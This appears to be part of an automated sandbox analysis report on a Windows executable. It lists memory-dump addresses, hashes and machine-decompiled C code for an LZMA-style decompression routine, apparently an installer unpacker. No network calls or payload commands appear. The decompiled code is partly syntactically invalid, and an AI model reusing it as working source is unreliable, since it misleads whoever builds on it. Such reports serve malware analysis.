								 *(__ebp - 0x68) =  *(__ebp - 0x68) + 1;
								 *(__ebp - 0x64) =  *(__ebp - 0x64) - 1;
								 *(__ebp - 0x30) =  *(__ebp - 0x30) - 1;
								__eflags =  *(__ebp - 0x30);
								 *( *(__ebp - 0x68)) = __cl;
								 *(__ebp - 0x14) = _t414;
								if( *(__ebp - 0x30) > 0) {
									continue;
								} else {
									goto L80;
								}
							}
							 *(__ebp - 0x88) = 0x1c;
							goto L170;
					}
				}
			}

0x00000000
0x00406520
0x00406520
0x00406524
0x004065db
0x004065de
0x004065ea
0x004064cb
0x004064cb
0x004064ce
0x00406840
0x00406840
0x00406843
0x00406843
0x00406849
0x0040684f
0x00406855
0x0040686f
0x00406872
0x00406878
0x00406883
0x00406885
0x00406857
0x00406857
0x00406866
0x0040686a
0x0040686a
0x0040688f
0x004068b6
0x004068b6
0x004068bc
0x004068bc
0x00000000
0x00406891
0x00406891
0x00406895
0x00406a44
0x00000000
0x00406a44
0x004068a1
0x004068a8
0x004068b0
0x004068b3
0x00000000
0x004068b3
0x0040652a
0x0040652e
0x00406a6f
0x00406a6f
0x00406a72
0x00406a76
0x00406a76
0x00406534
0x0040653a
0x0040653d
0x00406541
0x00406544
0x00406548
0x00406a0e
0x00406a5a
0x00406a62
0x00406a69
0x00406a6b
0x00000000
0x00406a6b
0x0040654e
0x00406551
0x00406557
0x00406559
0x00406559
0x0040655c
0x0040655f
0x00406562
0x00406565
0x00406568
0x0040656b
0x0040656c
0x0040656e
0x0040656e
0x0040656e
0x00406571
0x00406574
0x00406577
0x0040657a
0x0040657a
0x0040657d
0x0040657f
0x0040657f
0x00406582
0x00406582
0x00406582
0x00406058
0x00406058
0x00406061
0x00000000
0x00000000
0x00406067
0x00000000
0x00406072
0x00000000
0x00000000
0x0040607b
0x0040607e
0x00406081
0x00406085
0x00000000
0x00000000
0x0040608b
0x0040608e
0x00406090
0x00406091
0x00406094
0x00406096
0x00406097
0x00406099
0x0040609c
0x004060a1
0x004060a6
0x004060af
0x004060c2
0x004060c5
0x004060d1
0x004060f9
0x004060fb
0x00406109
0x00406109
0x0040610d
0x00000000
0x00000000
0x00000000
0x00000000
0x004060fd
0x004060fd
0x00406100
0x00406101
0x00406101
0x00000000
0x004060fd
0x004060d7
0x004060dc
0x004060dc
0x004060e5
0x004060ed
0x004060f0
0x00000000
0x004060f6
0x004060f6
0x00000000
0x004060f6
0x00000000
0x00406113
0x00406113
0x00406117
0x004069c3
0x00000000
0x004069c3
0x00406120
0x00406130
0x00406133
0x00406136
0x00406136
0x00406136
0x00406139
0x0040613d
0x00000000
0x00000000
0x0040613f
0x00406145
0x0040616f
0x00406175
0x0040617c
0x00000000
0x0040617c
0x0040614b
0x0040614e
0x00406153
0x00406153
0x0040615e
0x00406166
0x00406169
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061ae
0x004061b4
0x004061b7
0x004061c4
0x004061cc
0x00000000
0x00000000
0x00406183
0x00406183
0x00406187
0x004069d2
0x00000000
0x004069d2
0x00406193
0x0040619e
0x0040619e
0x0040619e
0x004061a1
0x004061a4
0x004061a7
0x004061ac
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x00000000
0x004061d4
0x004061d6
0x004061d9
0x0040624a
0x0040624d
0x00406250
0x00406257
0x00406261
0x00000000
0x00406261
0x004061db
0x004061df
0x004061e2
0x004061e4
0x004061e7
0x004061ea
0x004061ec
0x004061ef
0x004061f1
0x004061f6
0x004061f9
0x004061fc
0x00406200
0x00406207
0x0040620a
0x00406211
0x00406215
0x0040621d
0x0040621d
0x0040621d
0x00406217
0x00406217
0x00406217
0x0040620c
0x0040620c
0x0040620c
0x00406221
0x00406224
0x00406242
0x00406244
0x00000000
0x00406226
0x00406226
0x00406229
0x0040622c
0x0040622f
0x00406231
0x00406231
0x00406231
0x00406234
0x00406237
0x00406239
0x0040623a
0x0040623d
0x00000000
0x0040623d
0x00000000
0x00406473
0x00406477
0x00406495
0x00406498
0x0040649f
0x004064a2
0x004064a5
0x004064a8
0x004064ab
0x004064ae
0x004064b0
0x004064b7
0x004064b8
0x004064ba
0x004064bd
0x004064c0
0x004064c3
0x004064c3
0x004064c8
0x00000000
0x004064c8
0x00406479
0x0040647c
0x0040647f
0x00406489
0x00000000
0x00000000
0x004064dd
0x004064e1
0x00406504
0x00406507
0x0040650a
0x00406514
0x004064e3
0x004064e3
0x004064e6
0x004064e9
0x004064ec
0x004064f9
0x004064fc
0x004064fc
0x00000000
0x00000000
0x00000000
0x00000000
0x00406591
0x00406595
0x0040659c
0x0040659f
0x004065a2
0x004065ac
0x00000000
0x004065ac
0x00406597
0x00000000
0x00000000
0x004065b8
0x004065bc
0x004065c3
0x004065c6
0x004065c9
0x004065be
0x004065be
0x004065be
0x004065cc
0x004065cf
0x004065d2
0x004065d2
0x004065d5
0x004065d8
0x00000000
0x00000000
0x00406678
0x00406678
0x0040667c
0x00406a1a
0x00000000
0x00406a1a
0x00406682
0x00406685
0x00406688
0x0040668c
0x0040668f
0x00406695
0x00406697
0x00406697
0x00406697
0x0040669a
0x0040669d
0x00000000
0x00000000
0x0040626d
0x0040626d
0x00406271
0x004069de
0x00000000
0x004069de
0x00406277
0x0040627a
0x0040627d
0x00406281
0x00406284
0x0040628a
0x0040628c
0x0040628c
0x0040628c
0x0040628f
0x00406292
0x00406292
0x00406295
0x00406298
0x00000000
0x00000000
0x0040629e
0x004062a4
0x00000000
0x00000000
0x004062aa
0x004062aa
0x004062ae
0x004062b1
0x004062b4
0x004062b7
0x004062ba
0x004062bb
0x004062be
0x004062c0
0x004062c6
0x004062c9
0x004062cc
0x004062cf
0x004062d2
0x004062d5
0x004062d8
0x004062f4
0x004062f7
0x004062fa
0x004062fd
0x00406304
0x00406308
0x0040630a
0x0040630e
0x004062da
0x004062da
0x004062de
0x004062e6
0x004062eb
0x004062ed
0x004062ef
0x004062ef
0x00406311
0x00406318
0x0040631b
0x00000000
0x00406321
0x00000000
0x00406321
0x00000000
0x00406326
0x00406326
0x0040632a
0x004069ea
0x00000000
0x004069ea
0x00406330
0x00406333
0x00406336
0x0040633a
0x0040633d
0x00406343
0x00406345
0x00406345
0x00406345
0x00406348
0x0040634b
0x0040634b
0x0040634b
0x00406351
0x00000000
0x00000000
0x00406353
0x00406356
0x00406359
0x0040635c
0x0040635f
0x00406362
0x00406365
0x00406368
0x0040636b
0x0040636e
0x00406371
0x00406389
0x0040638c
0x0040638f
0x00406392
0x00406392
0x00406395
0x00406399
0x0040639b
0x00406373
0x00406373
0x0040637b
0x00406380
0x00406382
0x00406384
0x00406384
0x0040639e
0x004063a5
0x004063a8
0x00000000
0x004063aa
0x00000000
0x004063aa
0x004063a8
0x004063af
0x004063af
0x004063af
0x004063af
0x00000000
0x00000000
0x004063ea
0x004063ea
0x004063ee
0x004069f6
0x00000000
0x004069f6
0x004063f4
0x004063f7
0x004063fa
0x004063fe
0x00406401
0x00406407
0x00406409
0x00406409
0x00406409
0x0040640c
0x0040640f
0x0040640f
0x00406415
0x004063b3
0x004063b3
0x004063b6
0x00000000
0x004063b6
0x00406417
0x00406417
0x0040641a
0x0040641d
0x00406420
0x00406423
0x00406426
0x00406429
0x0040642c
0x0040642f
0x00406432
0x00406435
0x0040644d
0x00406450
0x00406453
0x00406456
0x00406456
0x00406459
0x0040645d
0x0040645f
0x00406437
0x00406437
0x0040643f
0x00406444
0x00406446
0x00406448
0x00406448
0x00406462
0x00406469
0x0040646c
0x00000000
0x0040646e
0x00000000
0x0040646e
0x00000000
0x004066fb
0x004066fb
0x004066ff
0x00406a26
0x00000000
0x00406a26
0x00406705
0x00406708
0x0040670b
0x0040670f
0x00406712
0x00406718
0x0040671a
0x0040671a
0x0040671a
0x0040671d
0x00000000
0x00000000
0x00000000
0x00000000
0x0040680a
0x0040680e
0x00406830
0x00406833
0x0040683d
0x00000000
0x0040683d
0x00406810
0x00406813
0x00406817
0x0040681a
0x0040681a
0x0040681d
0x00000000
0x00000000
0x004068c7
0x004068cb
0x004068e9
0x004068e9
0x004068e9
0x004068f0
0x004068f7
0x004068fe
0x004068fe
0x00000000
0x004068fe
0x004068cd
0x004068d0
0x004068d3
0x004068d6
0x004068dd
0x00406821
0x00406821
0x00406824
0x00000000
0x00000000
0x004069b8
0x004069bb
0x00000000
0x00000000
0x004065f2
0x004065f4
0x004065fb
0x004065fc
0x004065fe
0x00406601
0x00000000
0x00000000
0x00406609
0x0040660c
0x0040660f
0x00406611
0x00406613
0x00406613
0x00406614
0x00406617
0x0040661e
0x00406621
0x0040662f
0x00000000
0x00000000
0x00406905
0x00406905
0x00406908
0x0040690f
0x00000000
0x00000000
0x00406914
0x00406914
0x00406918
0x00406a50
0x00000000
0x00406a50
0x0040691e
0x00406921
0x00406924
0x00406928
0x0040692b
0x00406931
0x00406933
0x00406933
0x00406933
0x00406936
0x00406939
0x00406939
0x00406939
0x00406939
0x0040693c
0x0040693c
0x00406940
0x004069a0
0x004069a3
0x004069a8
0x004069a9
0x004069ab
0x004069ad
0x004069b0
0x00000000
0x004069b0
0x00406942
0x00406948
0x0040694b
0x0040694e
0x00406951
0x00406954
0x00406957
0x0040695a
0x0040695d
0x00406960
0x00406963
0x0040697c
0x0040697f
0x00406982
0x00406985
0x00406989
0x0040698b
0x0040698b
0x0040698c
0x0040698f
0x00406965
0x00406965
0x0040696d
0x00406972
0x00406974
0x00406977
0x00406977
0x00406992
0x00406999
0x00000000
0x0040699b
0x00000000
0x0040699b
0x00000000
0x00406637
0x0040663a
0x00406670
0x004067a0
0x004067a0
0x004067a0
0x004067a0
0x004067a3
0x004067a3
0x004067a6
0x004067a8
0x00406a32
0x00000000
0x00406a32
0x004067ae
0x004067b1
0x00000000
0x00000000
0x004067b7
0x004067bb
0x004067be
0x004067be
0x004067be
0x00000000
0x004067be
0x0040663c
0x0040663e
0x00406640
0x00406642
0x00406645
0x00406646
0x00406648
0x0040664a
0x0040664d
0x00406650
0x00406666
0x0040666b
0x004066a3
0x004066a3
0x004066a7
0x004066d3
0x004066d5
0x004066dc
0x004066df
0x004066e2
0x004066e2
0x004066e7
0x004066e7
0x004066e9
0x004066ec
0x004066f3
0x004066f6
0x00406723
0x00406723
0x00406726
0x00406729
0x0040679d
0x0040679d
0x0040679d
0x00000000
0x0040679d
0x0040672b
0x00406731
0x00406734
0x00406737
0x0040673a
0x0040673d
0x00406740
0x00406743
0x00406746
0x00406749
0x0040674c
0x00406765
0x00406767
0x0040676a
0x0040676b
0x0040676e
0x00406770
0x00406773
0x00406775
0x00406777
0x0040677a
0x0040677c
0x0040677f
0x00406783
0x00406785
0x00406785
0x00406786
0x00406789
0x0040678c
0x0040674e
0x0040674e
0x00406756
0x0040675b
0x0040675d
0x00406760
0x00406760
0x0040678f
0x00406796
0x00406720
0x00406720
0x00406720
0x00406720
0x00000000
0x00406798
0x00000000
0x00406798
0x00406796
0x004066a9
0x004066ac
0x004066ae
0x004066b1
0x004066b4
0x004066b7
0x004066b9
0x004066bc
0x004066bf
0x004066bf
0x004066c2
0x004066c2
0x004066c5
0x004066cc
0x004066a0
0x004066a0
0x004066a0
0x004066a0
0x00000000
0x004066ce
0x00000000
0x004066ce
0x004066cc
0x00406652
0x00406655
0x00406657
0x0040665a
0x00000000
0x00000000
0x004063b9
0x004063b9
0x004063bd
0x00406a02
0x00000000
0x00406a02
0x004063c3
0x004063c6
0x004063c9
0x004063cc
0x004063cf
0x004063d2
0x004063d5
0x004063d7
0x004063da
0x004063dd
0x004063e0
0x004063e2
0x004063e2
0x004063e2
0x00000000
0x00000000
0x00000000
0x00000000
0x004067c1
0x004067c1
0x004067c1
0x004067c5
0x00000000
0x00000000
0x004067cb
0x004067ce
0x004067d1
0x004067d4
0x004067d6
0x004067d6
0x004067d6
0x004067d9
0x004067dc
0x004067df
0x004067e2
0x004067e5
0x004067e8
0x004067e9
0x004067eb
0x004067eb
0x004067eb
0x004067ee
0x004067f1
0x004067f4
0x004067f7
0x004067fa
0x004067fe
0x00406800
0x00406803
0x00000000
0x00406805
0x00000000
0x00406805
0x00406803
0x00406a38
0x00000000
0x00000000
0x00406067

Memory Dump Source

Source File: 00000000.00000002.287960780.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.287951692.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287971503.0000000000407000.00000002.00020000.sdmp Download File
Associated: 00000000.00000002.287976879.0000000000409000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288022395.0000000000417000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288026956.0000000000422000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288031921.000000000042A000.00000004.00020000.sdmp Download File
Associated: 00000000.00000002.288039281.000000000042D000.00000002.00020000.sdmp Download File

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 7dec09a748792e581ac56a4790c1b6395b646ad41e7ca9f7da80e9268b46833e
Instruction ID: 178f069459afe4b8f6f8f854f87fc4d5347ab2ec506c5a0858b6a976d85c5aaa
Opcode Fuzzy Hash: 7dec09a748792e581ac56a4790c1b6395b646ad41e7ca9f7da80e9268b46833e
Instruction Fuzzy Hash: 8E816871E00228CFDF24DFA8C8447ADBBB1FB45301F25816AD816BB281C7785A96DF44

Uniqueness

Uniqueness Score: -1.00%

Function 00406025, Relevance: 5.2, APIs: 4, Instructions: 198
COMMON

Download Yara Rule

C-Code - Quality: 98%

			E00406025(void* __ecx) {
				void* _v8;
				void* _v12;
				signed int _v16;
				unsigned int _v20;
				signed int _v24;
				signed int _v28;
				signed int _v32;
				signed int _v36;
				signed int _v40;
				signed int _v44;
				signed int _v48;
				signed int _v52;
				signed int _v56;
				signed int _v60;
				signed int _v64;
				signed int _v68;
				signed int _v72;
				signed int _v76;
				signed int _v80;
				signed int _v84;
				signed int _v88;
				signed int _v92;
				signed int _v95;
				signed int _v96;
				signed int _v100;
				signed int _v104;
				signed int _v108;
				signed int _v112;
				signed int _v116;
				signed int _v120;
				intOrPtr _v124;
				signed int _v128;
				signed int _v132;
				signed int _v136;
				void _v140;
				void* _v148;
				signed int _t537;
				signed int _t538;
				signed int _t572;

				_t572 = 0x22;
				_v148 = __ecx;
				memcpy( &_v140, __ecx, _t572 << 2);
				if(_v52 == 0xffffffff) {
					return 1;
				}
				while(1) {
					L3:
					_t537 = _v140;
					if(_t537 > 0x1c) {
						break;
					}
					switch( *((intOrPtr*)(_t537 * 4 +  &M00406A77))) {
						case 0:
							__eflags = _v112;
							if(_v112 == 0) {
								goto L173;
							}
							_v112 = _v112 - 1;
							_v116 = _v116 + 1;
							_t537 =  *_v116;
							__eflags = _t537 - 0xe1;
							if(_t537 > 0xe1) {
								goto L174;
							}
							_t542 = _t537 & 0x000000ff;
							_push(0x2d);
							asm("cdq");
							_pop(_t576);
							_push(9);
							_pop(_t577);
							_t622 = _t542 / _t576;
							_t544 = _t542 % _t576 & 0x000000ff;
							asm("cdq");
							_t617 = _t544 % _t577 & 0x000000ff;
							_v64 = _t617;
							_v32 = (1 << _t622) - 1;
							_v28 = (1 << _t544 / _t577) - 1;
							_t625 = (0x300 << _t617 + _t622) + 0x736;
							__eflags = 0x600 - _v124;
							if(0x600 == _v124) {
								L12:
								__eflags = _t625;
								if(_t625 == 0) {
									L14:
									_v76 = _v76 & 0x00000000;
									_v68 = _v68 & 0x00000000;
									goto L17;
								} else {
									goto L13;
								}
								do {
									L13:
									_t625 = _t625 - 1;
									__eflags = _t625;
									 *((short*)(_v8 + _t625 * 2)) = 0x400;
								} while (_t625 != 0);
								goto L14;
							}
							__eflags = _v8;
							if(_v8 != 0) {
								GlobalFree(_v8); // executed
							}
							_t537 = GlobalAlloc(0x40, 0x600); // executed
							__eflags = _t537;
							_v8 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								_v124 = 0x600;
								goto L12;
							}
						case 1:
							L15:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 1;
								goto L173;
							}
							_v112 = _v112 - 1;
							_v68 = _v68 | ( *_v116 & 0x000000ff) << _v76 << 0x00000003;
							_v116 = _v116 + 1;
							_t50 =  &_v76;
							 *_t50 = _v76 + 1;
							__eflags =  *_t50;
							L17:
							__eflags = _v76 - 4;
							if(_v76 < 4) {
								goto L15;
							}
							_t550 = _v68;
							__eflags = _t550 - _v120;
							if(_t550 == _v120) {
								L22:
								_v76 = 5;
								 *(_v12 + _v120 - 1) =  *(_v12 + _v120 - 1) & 0x00000000;
								goto L25;
							}
							__eflags = _v12;
							_v120 = _t550;
							if(_v12 != 0) {
								GlobalFree(_v12); // executed
							}
							_t537 = GlobalAlloc(0x40, _v68); // executed
							__eflags = _t537;
							_v12 = _t537;
							if(_t537 == 0) {
								goto L174;
							} else {
								goto L22;
							}
						case 2:
							L26:
							_t557 = _v100 & _v32;
							_v136 = 6;
							_v80 = _t557;
							_t626 = _v8 + ((_v60 << 4) + _t557) * 2;
							goto L135;
						case 3:
							L23:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 3;
								goto L173;
							}
							_v112 = _v112 - 1;
							_t72 =  &_v116;
							 *_t72 = _v116 + 1;
							__eflags =  *_t72;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L25:
							_v76 = _v76 - 1;
							__eflags = _v76;
							if(_v76 != 0) {
								goto L23;
							}
							goto L26;
						case 4:
							L136:
							_t559 =  *_t626;
							_t610 = _t559 & 0x0000ffff;
							_t591 = (_v20 >> 0xb) * _t610;
							__eflags = _v16 - _t591;
							if(_v16 >= _t591) {
								_v20 = _v20 - _t591;
								_v16 = _v16 - _t591;
								_v68 = 1;
								_t560 = _t559 - (_t559 >> 5);
								__eflags = _t560;
								 *_t626 = _t560;
							} else {
								_v20 = _t591;
								_v68 = _v68 & 0x00000000;
								 *_t626 = (0x800 - _t610 >> 5) + _t559;
							}
							__eflags = _v20 - 0x1000000;
							if(_v20 >= 0x1000000) {
								goto L142;
							} else {
								goto L140;
							}
						case 5:
							L140:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 5;
								goto L173;
							}
							_v20 = _v20 << 8;
							_v112 = _v112 - 1;
							_t464 =  &_v116;
							 *_t464 = _v116 + 1;
							__eflags =  *_t464;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L142:
							_t561 = _v136;
							goto L143;
						case 6:
							__edx = 0;
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v56 = 1;
								_v136 = 7;
								__esi = _v8 + 0x180 + _v60 * 2;
								goto L135;
							}
							__eax = _v96 & 0x000000ff;
							__esi = _v100;
							__cl = 8;
							__cl = 8 - _v64;
							__esi = _v100 & _v28;
							__eax = (_v96 & 0x000000ff) >> 8;
							__ecx = _v64;
							__esi = (_v100 & _v28) << 8;
							__ecx = _v8;
							((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2;
							__eax = ((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9;
							__eflags = _v60 - 4;
							__eax = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							_v92 = (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8) + (((_v96 & 0x000000ff) >> 8) + ((_v100 & _v28) << 8)) * 2 << 9) + _v8 + 0xe6c;
							if(_v60 >= 4) {
								__eflags = _v60 - 0xa;
								if(_v60 >= 0xa) {
									_t103 =  &_v60;
									 *_t103 = _v60 - 6;
									__eflags =  *_t103;
								} else {
									_v60 = _v60 - 3;
								}
							} else {
								_v60 = 0;
							}
							__eflags = _v56 - __edx;
							if(_v56 == __edx) {
								__ebx = 0;
								__ebx = 1;
								goto L63;
							}
							__eax = _v24;
							__eax = _v24 - _v48;
							__eflags = __eax - _v120;
							if(__eax >= _v120) {
								__eax = __eax + _v120;
								__eflags = __eax;
							}
							__ecx = _v12;
							__ebx = 0;
							__ebx = 1;
							__al =  *((intOrPtr*)(__eax + __ecx));
							_v95 =  *((intOrPtr*)(__eax + __ecx));
							goto L43;
						case 7:
							__eflags = _v68 - 1;
							if(_v68 != 1) {
								__eax = _v40;
								_v132 = 0x16;
								_v36 = _v40;
								__eax = _v44;
								_v40 = _v44;
								__eax = _v48;
								_v44 = _v48;
								__eax = 0;
								__eflags = _v60 - 7;
								0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
								__al = __al & 0x000000fd;
								__eax = (__eflags >= 0) - 1 + 0xa;
								_v60 = (__eflags >= 0) - 1 + 0xa;
								__eax = _v8;
								__eax = _v8 + 0x664;
								__eflags = __eax;
								_v92 = __eax;
								goto L71;
							}
							__eax = _v8;
							__ecx = _v60;
							_v136 = 8;
							__esi = _v8 + 0x198 + _v60 * 2;
							goto L135;
						case 8:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xa;
								__esi = _v8 + 0x1b0 + _v60 * 2;
							} else {
								__eax = _v60;
								__ecx = _v8;
								__eax = _v60 + 0xf;
								_v136 = 9;
								_v60 + 0xf << 4 = (_v60 + 0xf << 4) + _v80;
								__esi = _v8 + ((_v60 + 0xf << 4) + _v80) * 2;
							}
							goto L135;
						case 9:
							__eflags = _v68;
							if(_v68 != 0) {
								goto L92;
							}
							__eflags = _v100;
							if(_v100 == 0) {
								goto L174;
							}
							__eax = 0;
							__eflags = _v60 - 7;
							_t264 = _v60 - 7 >= 0;
							__eflags = _t264;
							0 | _t264 = _t264 + _t264 + 9;
							_v60 = _t264 + _t264 + 9;
							goto L78;
						case 0xa:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v8;
								__ecx = _v60;
								_v136 = 0xb;
								__esi = _v8 + 0x1c8 + _v60 * 2;
								goto L135;
							}
							__eax = _v44;
							goto L91;
						case 0xb:
							__eflags = _v68;
							if(_v68 != 0) {
								__ecx = _v40;
								__eax = _v36;
								_v36 = _v40;
							} else {
								__eax = _v40;
							}
							__ecx = _v44;
							_v40 = _v44;
							L91:
							__ecx = _v48;
							_v48 = __eax;
							_v44 = _v48;
							L92:
							__eax = _v8;
							_v132 = 0x15;
							__eax = _v8 + 0xa68;
							_v92 = _v8 + 0xa68;
							goto L71;
						case 0xc:
							L102:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xc;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t340 =  &_v116;
							 *_t340 = _v116 + 1;
							__eflags =  *_t340;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							__eax = _v48;
							goto L104;
						case 0xd:
							L39:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xd;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t127 =  &_v116;
							 *_t127 = _v116 + 1;
							__eflags =  *_t127;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L41:
							__eax = _v68;
							__eflags = _v76 - _v68;
							if(_v76 != _v68) {
								goto L50;
							}
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								goto L56;
							}
							L43:
							__eax = _v95 & 0x000000ff;
							_v95 = _v95 << 1;
							__ecx = _v92;
							__eax = (_v95 & 0x000000ff) >> 7;
							_v76 = __eax;
							__eax = __eax + 1;
							__eax = __eax << 8;
							__eax = __eax + __ebx;
							__esi = _v92 + __eax * 2;
							_v20 = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edx = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edx;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_v68 = 1;
								__cx = __ax >> 5;
								__eflags = __eax;
								__ebx = __ebx + __ebx + 1;
								 *__esi = __ax;
							} else {
								_v68 = _v68 & 0x00000000;
								_v20 = __ecx;
								0x800 = 0x800 - __edx;
								0x800 - __edx >> 5 = (0x800 - __edx >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L41;
							} else {
								goto L39;
							}
						case 0xe:
							L48:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xe;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t161 =  &_v116;
							 *_t161 = _v116 + 1;
							__eflags =  *_t161;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							while(1) {
								L50:
								__eflags = __ebx - 0x100;
								if(__ebx >= 0x100) {
									break;
								}
								__eax = _v92;
								__edx = __ebx + __ebx;
								__ecx = _v20;
								__esi = __edx + __eax;
								__ecx = _v20 >> 0xb;
								__ax =  *__esi;
								_v88 = __esi;
								__edi = __ax & 0x0000ffff;
								__ecx = (_v20 >> 0xb) * __edi;
								__eflags = _v16 - __ecx;
								if(_v16 >= __ecx) {
									_v20 = _v20 - __ecx;
									_v16 = _v16 - __ecx;
									__cx = __ax;
									_t175 = __edx + 1; // 0x1
									__ebx = _t175;
									__cx = __ax >> 5;
									__eflags = __eax;
									 *__esi = __ax;
								} else {
									_v20 = __ecx;
									0x800 = 0x800 - __edi;
									0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
									__ebx = __ebx + __ebx;
									 *__esi = __cx;
								}
								__eflags = _v20 - 0x1000000;
								_v72 = __ebx;
								if(_v20 >= 0x1000000) {
									continue;
								} else {
									goto L48;
								}
							}
							L56:
							_t178 =  &_v56;
							 *_t178 = _v56 & 0x00000000;
							__eflags =  *_t178;
							goto L57;
						case 0xf:
							L60:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0xf;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t208 =  &_v116;
							 *_t208 = _v116 + 1;
							__eflags =  *_t208;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							L62:
							__eflags = __ebx - 0x100;
							if(__ebx >= 0x100) {
								L57:
								__al = _v72;
								_v96 = _v72;
								goto L58;
							}
							L63:
							__eax = _v92;
							__edx = __ebx + __ebx;
							__ecx = _v20;
							__esi = __edx + __eax;
							__ecx = _v20 >> 0xb;
							__ax =  *__esi;
							_v88 = __esi;
							__edi = __ax & 0x0000ffff;
							__ecx = (_v20 >> 0xb) * __edi;
							__eflags = _v16 - __ecx;
							if(_v16 >= __ecx) {
								_v20 = _v20 - __ecx;
								_v16 = _v16 - __ecx;
								__cx = __ax;
								_t222 = __edx + 1; // 0x1
								__ebx = _t222;
								__cx = __ax >> 5;
								__eflags = __eax;
								 *__esi = __ax;
							} else {
								_v20 = __ecx;
								0x800 = 0x800 - __edi;
								0x800 - __edi >> 5 = (0x800 - __edi >> 5) + __eax;
								__ebx = __ebx + __ebx;
								 *__esi = __cx;
							}
							__eflags = _v20 - 0x1000000;
							_v72 = __ebx;
							if(_v20 >= 0x1000000) {
								goto L62;
							} else {
								goto L60;
							}
						case 0x10:
							L112:
							__eflags = _v112;
							if(_v112 == 0) {
								_v140 = 0x10;
								goto L173;
							}
							__ecx = _v116;
							__eax = _v16;
							_v20 = _v20 << 8;
							__ecx =  *_v116 & 0x000000ff;
							_v112 = _v112 - 1;
							_v16 << 8 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							_t371 =  &_v116;
							 *_t371 = _v116 + 1;
							__eflags =  *_t371;
							_v16 = _v16 << 0x00000008 |  *_v116 & 0x000000ff;
							goto L114;
						case 0x11:
							L71:
							__esi = _v92;
							_v136 = 0x12;
							goto L135;
						case 0x12:
							__eflags = _v68;
							if(_v68 != 0) {
								__eax = _v92;
								_v136 = 0x13;
								__esi = _v92 + 2;
								L135:
								_v88 = _t626;
								goto L136;
							}
							__eax = _v80;
							_v52 = _v52 & 0x00000000;
							__ecx = _v92;
							__eax = _v80 << 4;
							__eflags = __eax;
							__eax = _v92 + __eax + 4;
							goto L133;
						case 0x13:
							__eflags = _v68;
							if(_v68 != 0) {
								_t475 =  &_v92;
								 *_t475 = _v92 + 0x204;
								__eflags =  *_t475;
								_v52 = 0x10;
								_v68 = 8;
								L147:
								_v128 = 0x14;
								goto L148;
							}
							__eax = _v80;
							__ecx = _v92;
							__eax = _v80 << 4;
							_v52 = 8;
							__eax = _v92 + (_v80 << 4) + 0x104;
							L133:
							_v92 = __eax;
							_v68 = 3;
							goto L147;
						case 0x14:
							_v52 = _v52 + __ebx;
							__eax = _v132;
							goto L143;
						case 0x15:
							__eax = 0;
							__eflags = _v60 - 7;
							0 | __eflags >= 0x00000000 = (__eflags >= 0) - 1;
